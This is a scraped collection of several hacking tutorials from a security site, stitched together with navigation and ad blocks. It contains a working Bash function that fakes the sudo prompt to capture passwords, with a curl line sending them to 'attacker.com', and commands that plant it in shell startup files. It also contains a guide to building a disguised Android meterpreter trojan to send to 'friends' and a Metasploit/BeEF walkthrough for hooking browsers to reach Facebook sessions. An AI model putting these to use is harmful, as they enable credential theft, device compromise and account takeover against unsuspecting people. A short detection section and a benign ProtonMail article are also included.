Questions? Concerns? Leave me a comment!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byEastSidebooksRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (03/21 - 03/27)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/25 - 01/31)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)How To:Things to Do on WonderHowTo (01/18 - 01/24)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreNews:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (11/23 - 11/29)How To:Things to Do on WonderHowTo (03/07 - 03/13)Farewell Byte:Goodbye Alex, Welcome AllenNews:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?How To:Things to Do on WonderHowTo (02/29 - 03/06)News:Ni No Kuni Coming To The US!News:A New Ink & Paint!How To:Safely Log In to Your SSH Account Without a PasswordHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:2012 Film Festival Submission DeadlinesNews:Null CommunityA Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesCommunity Byte:Coding an IRC Bot in Python (For Beginners)How To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Things to Do on WonderHowTo (11/16 - 11/22) |
How to Steal Ubuntu & MacOS Sudo Passwords Without Any Cracking Β« Null Byte :: WonderHowTo | With a simple social engineering trick, sudo passwords can be captured in seconds without the target's knowledge. The passwords can then be saved to a file or exfiltrated to another computer on the network.After exploiting a system, penetration tester's and hackers will often begin privilege escalation (privesc) attacks. Such attacks includekernel exploitationandpassword phishing. The featured attack here takes a social engineering approach by utilizing Bash functions to emulate the functionality of thesudocommand.How Sudo Is Supposed to WorkLet's use the followingwhoamiandidcommands as an example. If we enterwhoamiinto a terminal, it will return the current username.~$ whoami
tokyoneonWith theidcommand, it will return the user'suid(-u), a unique identifier assigned to each user on the system. By default, in Debian and Ubuntu systems, a normal user (non-root user) is assigned the uid of 1000 (shown below). Similarly, in macOS, a normal user is assigned the 501 uid.~$ id -u
1000When prepended,sudoelevates and executes the provided command with root (uid 0) privileges. This is all standard and normal behavior forsudoand Unix systems.~$ sudo id -u
0Thetypecommand can be used to identify how the supplied command is interpreted by the shell.~$ type sudo
sudo is /usr/bin/sudoIn this case,sudois interpreted as /usr/bin/sudo. This is also standard behavior. When someone executes thesudocommand (e.g.,sudo whoami), they're essentially doing the following.~$ /usr/bin/sudo /usr/bin/whoami
rootRecommended Book on Amazon:Sudo Mastery: User Access Control for Real PeopleHow Bash Functions WorkThe waysudo(or any command for that matter) is interpreted can be modified in such a way that's transparent to the user. Much likeBash aliases, complex functions can be imported into the shell. Take the below GIF as an example.We can see running an ordinaryapt-getupdatecommand fails because "sudo" is no longer interpreted as a direct link to the real sudo binary. It's now a function that prints some arbitrary text. This can very easily be abused. The "sudo" function can behave exactly like the real sudo, while recording and exfiltrating the target's password.You Should Already Have Remote AccessThis article assumes remote access to the target system has been established. With macOS targets, this can be accomplished with anundetectable payload,USB drop attack, orUSB Rubber Ducky. Ubuntu and Debian servers are also exploitable using variousSSHandserver-basedvulnerabilities.Step 1: Create a Malicious Bash FunctionThis kind of abuse is better demonstrated in the below function. Comments have been added in green to explain the importance of each line.function sudo () {
# A "realsudo" variable is created. It calls the `which` command to locate
# the path to the real sudo binary. This is used later in the function to
# execute the target's desired command.
realsudo="$(which sudo)"
# The `read` command will prompt (`-p`) the target with a convincing password
# request. The `-s` argument hides the input password, just as the real
# sudo command would. The target password is then set in the "inputPasswd"
# variable.
read -s -p "[sudo] password for $USER: " inputPasswd
# There are two `printf` commands here, separated by a semicolon.
# The first simply prints a new line in the terminal, as the real sudo
# does. The second writes the target's username and password to a
# file called "hackedPasswd.txt" in the /tmp directory.
printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/hackedPasswd.txt
# As an alternative to writing the password to the /tmp directory,
# it can be exfiltrated to the attacker's server. Uncomment the below
# "encoded" and "curl" lines to enable this function. The password
# is encoded with `base64` to make it easier to transmit in the URL.
# encoded=$(printf '%s' "$inputPasswd" | base64) >/dev/null 2>&1
# curl -s "http://attacker.com/$USER:$encoded" >/dev/null 2>&1
# The `-S` option allows users to input their sudo password using the command
# line. This is used to run an arbitrary `exit` command (`-c`) as the root
# user (`-u`) to unlock the sudo timeout function. This command and its
# output are hidden (/dev/null) from the target. It's only here to allow
# sudo usage for future commands.
# For more on sudo timeouts and /dev/null, see:
# https://itsfoss.com/change-sudo-password-timeout-ubuntu/
# https://stackoverflow.com/questions/10508843/what-is-dev-null-21
$realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1
# With the sudo timeout engaged, privileged commands can be run without
# prompting the user for a password. This line will execute the target's
# desired command.
$realsudo "${@:1}"
}Let's have a look at how this function appears to the target.As we can see, the target is still prompted with a password request when trying to install software. A closer look withtypereveals the malicious function. The captured password is saved to the /tmp/hackedPasswd.txt file.Option 1: Target Debian & Ubuntu SystemsWith Debian and Ubuntu systems, when a new terminal or shell is opened, the ~/.bashrc file is executed. This file (which can be modified by non-root users) usually defines useful attributes like aliases, history limit, and color variables. It can also be abused to import malicious Bash functions. This is true for Debian servers, Ubuntu desktops, and macOS systems.For convenience, I've uploadedthe malicious sudo functionto my GitHub page. It can be downloaded onto the target's system using the below command.~$ curl 'https://git.io/fhNWm' >> ~/.bashrcThis will append (>>) the sudo function to the bottom of the target's .bashrc file. From here on, when the target logs into their server (e.g., SSH) and executes asudocommand, the submitted password will be saved to the /tmp directory. Alternatively, ifcurlisn't installed on the target system,wgetcan be used.~$ wget -O- 'https://git.io/fhNWm' >> ~/.bashrcOption 2: Target macOS SystemsThis kind of attack is less effective against macOS users. Simply because they're not as likely to open a terminal and execute elevated commands. MacOS users don't need thesudocommand as often as VPS targets or Ubuntu desktop users. Still, I'll show how to set this up against a macOS target as it might be helpful to some penetration testers exploring every possible route to elevate their backdoor.Like the ~/.bashrc, macOS systems execute the~/.bash__profile filewhen Terminal is opened. Malicious Bash functions can be stored in this file. Use the belowwgetcommand to import the function into the target's Bash profile.~$ wget -O- 'https://git.io/fhNWm' >> ~/.bash_profileWhen the target opens Terminal and executes asudocommand, the password will be stored in the /tmp directory. This is illustrated in the below screenshot.Don't Miss:The Ultimate Guide to Hacking Computers Running macOSStep 2: Exfiltrate the Password (Optional)In addition to saving the password to the /tmp directory, it might be desirable to have the password sent to another computer or server. Aproper PHP listenercould be set up to gracefully intercept POST data containing the password.I decided to take a slightly unorthodox approach and feature a quick and dirty solution. This method requires a simple Python3 server set up on the attacker's Kali system. Thehttp.servermodule (-m) will create a web server using port80.~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...There are commands for encoding and exfiltrating passwords written intothe sudo function. It's disabled by default and needs to be uncommented to enable it.encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;The password is encoded withbase64to make it easier to send in the URL. Curl is used to silently (-s) make a GET request on the attacker's server located at the "attacker.com" domain. This domain should be changed to the attacker's local IP address (192.168.1.X) or VPS IP address. Errors and output generated by thecurlcommand areforced into /dev/null with the 2>&1 redirect. This prevents curl from accidentally reporting errors in the terminal if the attacker's server is for some reason inaccessible.The target's username and password are actually sent in the URL. Imagine making a request to "http://192.168.1.X/tokyoneon:sUp3R-S3cUre_P@$$w0000rD!." The request would surely fail, there's no such webpage. However, the encoded password would be stored in the attacker's error log. Below is an example of such an error.Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [27/Feb/2019 00:05:12] code 404, message File not found
127.0.0.1 - - [27/Feb/2019 00:05:12] "GET /user:c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ== HTTP/1.1" 404 -Simplyechothe encoded password intobase64to decode (-d) it.~$ echo 'c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ==' | base64 -d
sUp3R-S3cUre_P@$$w0000rD!How to Protect Against Bash Function AbuseMalicious Bash functions can be difficult to detect. If there's an attacker on your system modifying the ~/.bashrc or ~/.bash_profile file, you might havebigger issues to worry about.As we learned earlier, thetypecommand is an extremely useful tool. It can be used to print the provided commands shell interpretation. Commands likesudoshould only call the appropriate binary or will sometimes appear as "hashed" in the session. All other conditions should be investigated.~$ type sudo
sudo is /usr/bin/sudoIt's also a good idea to manually inspect the ~/.bashrc file. Hacker's will often use this file to embed persistent backdoors into Unix systems (e.g., attempt a newNetcatconnection every time a terminal is opened). This can be done withnanoorvim.~$ nano ~/.bashrcFinal ThoughtsThis kind of social engineering attack has many applications. For example, similar functions can be created forsshand other remote administration protocols. It would be possible for an attacker to steal SSH credentials and pivot to other systems within the target's control. Likewise, a malicious function for thesucommand can be created. This command, likesudo, is designed to elevate user privileges and can be easily mimicked using simple Bash functions.If you enjoyed this article, follow me on Twitter@tokyoneon_andGitHubto keep up with my current projects. For questions and concerns, leave a comment below or message me on Twitter.Don't Miss:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byArian Darvishi/Unsplash; Screenshots by tokyoneon/Null ByteRelatedLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Abuse Vulnerable Sudo Versions to Get RootHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hacking macOS:How to Hack a Mac Password Without Changing ItHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How to Hack Like a Pro:Getting Started with MetasploitHow To:Install Ubuntu Linux on Your Google Nexus 7 Android TabletHow To:Check Your MacOS Computer for Malware & KeyloggersHow To:Install and enable Flash for Chromium on Ubuntu LinuxHow To:Get Sleek Ubuntu-Style Lock Screen Notifications on Your Samsung Galaxy S3How To:Install cool themes on Ubuntu LinuxHow To:Install Firefox 3.5/3.6 on Ubuntu LinuxHow To:Create a Bootable USB Drive for Ubuntu Using Mac or WindowsHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:The Ultimate Guide to Hacking macOSHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Recover WinRAR and Zip PasswordsNews:Change from BASH to zshNews:Performance Hacks & Tweaks for LinuxRainbow Tables:How to Create & Use Them to Crack PasswordsMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Get Free Wi-Fi from Hotels & MoreHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Create an SSH Tunnel Server and Client in LinuxSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Carve Saved Passwords Using CainNews:Complete Arch Linux Installation, Part 2: Graphical User Interface & PackagesHow To:Hack Mac OS X Lion Passwords |
How to Hack Android Using Kali (Remotely) Β« Null Byte :: WonderHowTo | Hello Hackers! Welcome to my 2nd Post:This is a tutorial explaining how to hack android phones with Kali.I can't see any tutorials explaining this Hack/Exploit, so, I made one.(Still,you may already know about this)Step 1: Fire-Up Kali:Open a terminal, and make aTrojan.apkYou can do this by typing :msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk(replace LHOST with your own IP)You can also hack android onWAN i.e. through Interetby using yourPublic/External IPin the LHOST and byport forwarding(ask me about port forwarding if you have problems in the comment section)Step 2: Open Another Terminal:Open another terminal until the file is being produced.Load metasploit console, by typing :msfconsoleStep 3: Set-Up a Listener:After it loads(it will take time), load the multi-handler exploit by typing :use exploit/multi/handlerSet up a (reverse) payload by typing :set payload android/meterpreter/reverse_tcpTo set L host type :set LHOST 192.168.0.4(Even if you are hacking on WAN type your private/internal IP here not the public/external)Step 4: Exploit!At last type:exploitto start the listener.Copy the application that you made (Upgrader.apk) from the root folder, to you android phone.Then send it using Uploading it to Dropbox or any sharing website (like:www.speedyshare.com).Then send the link that the Website gave you to your friends and exploit their phones (Only on LAN, but if you used the WAN method then you can use the exploit anywhere on the INTERNET)Let the Victim install the Upgrader app(as he would think it is meant to upgrade some features on his phone)However, the option of allowance for Installation of apps fromUnknown Sourcesshould beenabled(if not) from the security settings of the android phone to allow the Trojan to install.And when he clicks Open...Step 5: BOOM!There comes the meterpreter prompt:------------------------------------------HACKED-------------------------------------------------The END:Keep coming for more!Some post modules that work for windows might not work in androidFor Eg:run killav,persistence(persistent backdoor) etc.Thank You!F.E.A.R.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Create a Smartphone Pentesting LabHacking Android:How to Create a Lab for Android Penetration TestingAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)How To:Hack Android Using Kali (UPDATED and FAQ) |
Hack Like a Pro: How to Hack Facebook (Same-Origin Policy) Β« Null Byte :: WonderHowTo | Welcome back, my budding hackers!This is the initial post of anew series on how to hack Facebook. It's important to note here that each hack I'll be covering is very specific. I have said it before, but I feel I need to repeat it again: there is NO SILVER BULLET that works under all circumstances. Obviously, the good folks at Facebook have taken precautions to make certain that their app is not hacked, but if we are creative, persistent, and ingenious, we can still get in.Facebook is one of the most secure applications on the Internet and, despite what you might read on the Internet, it is NOT easy to hack. In addition, most of those websites on the Internet willing to sell you a Facebook hack are scams. Don't give them a penny!If you want to hack Facebook, you need to invest some time into learning. If you are new to hacking, you might want to start with my article "How to Use Null Byte to Study to Become a Professional Hacker."In addition, I want to put in a word about what we mean by the word "hack." In some cases, we might get the password which, of course, will give us full access to the Facebook account. In other cases, we might just get access to the account without any rights. In still other schemes, we might get the cookies that Facebook places in the user's browser and then place it in our browser for access to the account whenever we please. In yet another scenario, we can place ourselves between the user and Facebook in a form of MitM attack, to get the password, etc.In this first entry inthis series, we will use a flaw in the stock Android web browser that will provide us with access to the Facebook account. I hope it goes without saying that this hack will only work when the user has accessed their Facebook account from the stock Android browser, not the Facebook mobile app. Although Google is aware of this security flaw in their browser, it is not automatically patched or replaced on existing systems. As a result, this hack will work on most Android systems.Same Origin PolicySame-origin policy (SOP) is one of the key security measures that every browser should meet. What it means is that browsers are designed so that webpages can't load code that is not part of their own resource. This prevents attackers from injecting code without the authorization of the website owner.Unfortunately, the default Android browser can be hacked as it does not enforce the SOP policy adequately. In this way, an attacker can access the user's other pages that are open in the browser, among other things. This means that if we can get the user to navigate to our website and then send them some malicious code, we can then access other sites that are open in their browser, such as Facebook.For those of you are new to Null Byte and hacking, I recommend that you start by installingKali Linux. In this hack, we will need two tools,MetasploitandBeEF, both of which are built into our Kali Linux system.Step 1: Open MetasploitLet's begin by firing up Kali and then opening Metasploit by typing:kali > msfconsoleYou should get a screen like this.For those of you unfamiliar with Metasploit, check outmy series on using Metasploitfor more information on using it successfully.Step 2: Find the ExploitNext, let's find the exploit for this hack by typing:msf > search platform:android stock browserWhen we do so, we get only one module:auxiliary/gather/android_stock_browser_uxssLet's load that module by typing:msf > use auxiliary/gather/android_stock_browser_uxssStep 3: Get the InfoNow that we have loaded the module, let's get some information on this module. We can do this by typing:msf > infoAs you can see from this info page, this exploit works against all stock Android browsers before Android 4.4 KitKat. It tells us that this module allows us to run arbitrary JavaScript in the context of the URL.Step 4: Show OptionsNext, let see what options we need to set for this module to function. Most importantly, we need to set theREMOTE_JSthat I have highlighted below.Step 5: Open BeEFNow, open BeEF. Please take a look atthis tutorial on using BeEF, if you are are unfamiliar the tool.Step 6: Set JS to BeEF HookBack to Metasploit now. We need to set the REMOTE_JS to the hook on BeEF. Of course, make certain you use the IP of the server that BeEF is running on.msf > set REMOTE_JS http://192.168.1.107:3000/hook.jsNext, we need to set the URIPATH to the root directory/. Let's type:msf > set uripath /Step 7: Run the ServerNow we need to start the Metasploit web server. What will happen now is that Metasploit will start its web server and serve up the BeEF hook so that when anyone navigates to that website, it will have their browser hooked to BeEF.msf > runStep 8: Navigate to the Website from an Android BrowserNow we are replicating the behavior of the victim. When they navigate to the website hosting the hook, it will automatically inject the JavaScript into their browser and hook it. So, we need to use the stock browser on an Android device and go to 192.168.1.107:8080, or whatever the IP is of your website.Step 9: Hook BrowserWhen the user/device visits our web server at 192.168.1.107, the BeEF JavaScript will hook their browser. It will show under the "Hooked Browser" explorer in BeEF. We now control their browser!Step 10: Detect if the Browser Is Authenticated to FacebookNow let's go back to BeEF and go to the "Commands" tab. Under the "Network" folder we find the "Detect Social Networks" command. This command will check to see whether the victim is authenticated to Gmail, Facebook, or Twitter. Click on the "Execute" button in the lower right.When we do so, BeEF will return for us the results. As you can see below, BeEF returned to us that this particular user was not authenticated to Gmail or Facebook, but was authenticated to Twitter.Now, we need to simply wait until the user is authenticated to Facebook and attempt this command again. Once they have authenticated to Facebook, we can direct a tab to open the user's Facebook page, which we will do in our next Facebook hack tutorial.We will continue to explore more ways to hack Facebook, Twitter, and Gmail in future articles, so keep coming back, my budding hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaMaestro studio/ShutterstockRelatedNews:WhatsApp Is Now Sharing Your Data with Facebook, but Opting Out Doesn't Solve the ProblemHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)News:Your Bose Headphones Are Spying on YouNews:A Rundown of the Privacy Policies for Major Mobile Carriers & ISPsThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesNews:You Can Now Save Your Live Instagram VideosHow To:View the Battery Percentage Indicator on Your iPhone X,XS,XSMax, orXRHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:Get All the New iPad Pro Wallpapers on Your iPhoneNews:iOS 10 Will Be Released on September 13, but the Gold Master Is Available NowNews:Apple's iOS 12.1.3 Public Beta 4 Available for iPhoneHow To:Set Your Android to Atomic Time for a Perfectly Synced ClockHow To:Get SwiftKey's All-Black Ninja Themes for FreeHow To:Add Life to Wallpapers with Filters & EffectsNews:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eNews:Apple Just Released the First Public Beta for iOS 12.1.1 with FaceTime UpdatesNews:Always-Updated List of Phones With No Headphone Jack Built-InNews:Say Goodbye to Annoying Rating Requests with New App Store Policy ChangesHow To:Save Battery When Playing YouTube Music on Your Galaxy, Pixel, or Other AMOLED DeviceNews:Could This Be Our First Look at the iPhone 7 Pro?How To:Get Nokia's Exclusive Camera App with Pro Mode on Any AndroidHow To:The 4 Best Firefox Mobile Extensions for Privacy & SecurityInstagram 101:How to Add More Than 30 Hashtags to Your PostsHow To:If You're Seeing Lock Screen 'DU' Malware When Charging, Uninstall These Apps Right NowNews:Apple's iOS 12.1.3 Public Beta 2 for iPhone Released to Software TestersNews:Galaxy S9 Preorders Begin Shipping in the USNews:Welcome to the WonderHowTo NetworkHow To:What You Need to Know Before Voting on Facebook's Proposed Policy Changes This WeekQuick Tip:Change Your Galaxy S8's LED Flashlight Brightness in Just a Few TapsHow To:Bypass Android's Call Log Limits to Keep an Unlimited Call HistoryHow To:Get LED Color Effects for Music Playing on Your AndroidHow To:Disable Interactive Pop-Up Ads on Your Samsung Smart TVHow To:The Official Google+ Insider's Guide IndexNews:Google+ Updates Name PolicyβStill No PseudonymsNews:Student Sentenced to 8mo. in Jail for Hacking FacebookNews:Bricked iPad Pros, Error 56, & How to FixThe Octopus Conundrum:Octopuses vs. Octopi vs. OctopodesHacking in the Media:Our Craft's Portrayal as Black Magic |
The Hacks of Mr. Robot: How to Send Ultra-Secure Emails Β« Null Byte :: WonderHowTo | Welcome back, my nascent hackers!Although my favorite TV show,Mr. Robot, had completed its first season already, I have not completed demonstratingthe hacks that Elliot used in the show. (By the way, I can't wait for season 2!)In several episodes, Elliot was seen sending secure emails. As a seasoned and savvy hacker, he would never use Gmail, Hotmail, or Yahoo to send confidential messages. Instead, Elliot chose the most secure email system available to non-military and non-spy people like you and me:ProtonMail.In a world where Google and the NSA inspect every email, a truly secure email service would be a godsend. Several email systems have touted themselves as secure, but we eventually learned that they were flawed or that their servers could be grabbed and inspected or otherwise compromised.About ProtonMailProtonMail was developed in 2013, at least in part due to the revelations that Edward Snowden provided regarding the NSA's world-wide surveillance (WWS) program. It was developed by researchers from CERN in Geneva, Switzerland. If you are not familiar with CERN, it's the world's largest subatomic research facility that many credit withthe development of the World Wide Web, among other things.Being based in Switzerland gives ProtonMail several advantages.First, the EU has far more stringent privacy standards than the U.S, and although Switzerland is not a member of the EU, Europe has much greater respect for individual privacy than what is practiced in the U.S., presently.Second, Switzerland has probably the most stringent privacy standards in all of Europe. Long a haven for neutrality and secret bank accounts, Switzerland has developed sophisticated laws to protect individuals' privacy. In addition, Switzerland is outside of the U.S. and EU legal jurisdiction. This makes it an almost perfect physical location for a private email server.ProtonMail was designed to give the email user complete anonymity. To accomplish this anonymity, it provides the following.End-to-end encryption(emails are decrypted in your browser).Does not require a phone number or another email to open an account (that account might be used to track your identity).You can set your email to expire after a number of daysβeven hours.It keeps no logs.Even the administrators at ProtonMail can't read your email.It is located in a neutral nation that is known for its respect for privacy.ProtonMail has become very popular because of these unique security features. Presently, there are over 250,000 users worldwide and growing rapidly. Due to this rapid growth, you may have to wait awhile to get an account. You need to first request an account and, when they have the capacity, they will email you back telling you that you are eligible to open an account. Presently, this takes 2-3 weeks, but it does vary.Originallyfunded by crowdsourcing, ProtonMail recentlyreceived venture capitalto expand. We can only hope that this will help them keep up with demand for their valuable service.Step 1: Apply for a ProtonMail AccountThe first step, of course, is to request for an account. Go toprotonmail.chand submit a request for an account.Step 2: Create an AccountOnce you receive the email notifying you that you can now open an account, click on the link they sent you. This will take you to a "Create Your Account" screen, such as below.It looks a lot like any other webmail account form, with one exception: it requires two passwords. One is to log into your account and the other is to decrypt your email. For maximum security, make certain that these two are different.Step 3: Log InOnce you have created an account, you can log in like any other webmail account.Now that you have successfully logged in with your username and password, ProtonMail will prompt you for your second password which is used to decrypt your email.When you enter it, it begins working on decrypting your email as seen below.When all of your email is decrypted, it will open a familiar email interface.Step 4: Security SettingsIf you click on "Settings" in the top bar and then "Security," it brings you to the screen below. Notice that you can export your PublicKey for use in PGP-compatible services. Presently, it is only compatible with OpenPGP. Also notice in the lower half of the screen the "Authentication Logs." By default, they are "Disabled" and I recommend you keep them so for the highest level of security.Step 5: Email ExpirationOne of the features of ProtonMail that I really like is the email expiration feature. When you compose an email, you can choose how long it will exist on the server before "expiring."To do so, simply click on the "clock" icon in the bottom of the compose email window and it will open a slider where you can choose how long the email will exist. In this case, I set the expiration to 13 hours. After you hit "Set," the clock will begin ticking, and when the time has expired, the email will expire and no longer be available to ANYONE.In addition to keeping your emails safe from prying eyes, if you want to make certain your chat sessions are secure,check out my article on OTR. (OTR, orOff the Record, is an IRC client.)Keep coming back, my nascent hackers, as we continue to explore the techniques and technologies of the world's most valuable skill setβhacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:ProntonMail under DDoS AttackNews:Use ProtonMail More Securely Through the Tor NetworkNews:A Game of Real HackingProtonMail 101:How to Send End-to-End Encrypted Emails to Non-ProtonMail RecipientsNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotHow To:Tutanota for Android, iOS, & Web Keeps Your Emails Private with End-to-End EncryptionThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageHow To:Use Gmail's New Confidential Mode to Send Private, Self-Destructing Emails from Your PhoneThe Hacks of Mr. Robot:How to Hide Data in Audio FilesHow To:The Easy Way to Use PGP for Encrypting Emails on Windows, Mac & LinuxThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityHow To:Schedule Emails in Spark So You Don't Forget to Send Them LaterThe Hacks of Mr. Robot:How to Hack BluetoothProtonMail 101:How to Send Self-Destructing EmailsAndroid Security 101:How to Secure Your Communications & MessagesHow To:Your Email Attachments Are Not Secure if You're Using Apple's Mail App in iOS 7Goodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (02/08 - 02/14)Writing E-mail:The 6 Cs of Not Looking Like a Total ManiacGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (02/01 - 02/07)News:Learning (and Teaching) The Use of BCC in EmailsMr. Robot:Hacking Sequence ExplainedHow To:Permanently Erase Data So That It Cannot be RecoveredHow To:Make a Gmail Notifier in PythonHow To:Create a Swarm of Robot Minions with These Popsicle Stick Arduino HexapodsNews:Basic Email EtiquetteNews:EmailMastering Security, Part 1:How to Manage and Create Strong PasswordsHacking in the Media:Our Craft's Portrayal as Black MagicHow To:Things to Do on WonderHowTo (01/25 - 01/31)How To:Fix Your Notification Settings in Google+ Pages |
How to Use Metasploit's Database to Stay Organized & Store Information While Hacking Β« Null Byte :: WonderHowTo | The ability to stay organized and be resourceful withdata gathered from reconis one of the things that separates the true hackers from the script kiddies.Metasploitcontains a built-in database that allows for efficient storage of information and the ability to utilize that information to better understand the target, which ultimately leads to more successful exploitation.By understanding and using the built-in Metasploit database to the fullest, we can keep track of information and stay organized during intense hacks. Also, there's being able to set up the database, customize workspaces, store scan results from Nmap, and gather and view discovered information such as services, credentials, and password hashes.Don't Miss:Use Metasploit's Web Delivery Script & Command InjectionI'm usingMetasploitandKali Linuxon the offensive, andMetasploitable 2as my target. Your results will be similar on other Linux distros against other targets.Initial Setup & WorkspacesThe first thing we need to do, if it is not done already, is start the PostgreSQL service that Metasploit'sdatabaseuses, with thesystemctl start postgresqlcommand.systemctl start postgresqlAt any time, we can use thestatuskeyword to check the current state of the service.systemctl status postgresql
β postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Tue 2019-01-15 09:11:42 CST; 1min 6s ago
Process: 1708 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1708 (code=exited, status=0/SUCCESS)
Jan 15 09:11:42 drd systemd[1]: Starting PostgreSQL RDBMS...
Jan 15 09:11:42 drd systemd[1]: Started PostgreSQL RDBMS.We can initialize the actual database with themsfdbcommand, which creates the default user, database, and relevant information pertaining to the database.msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
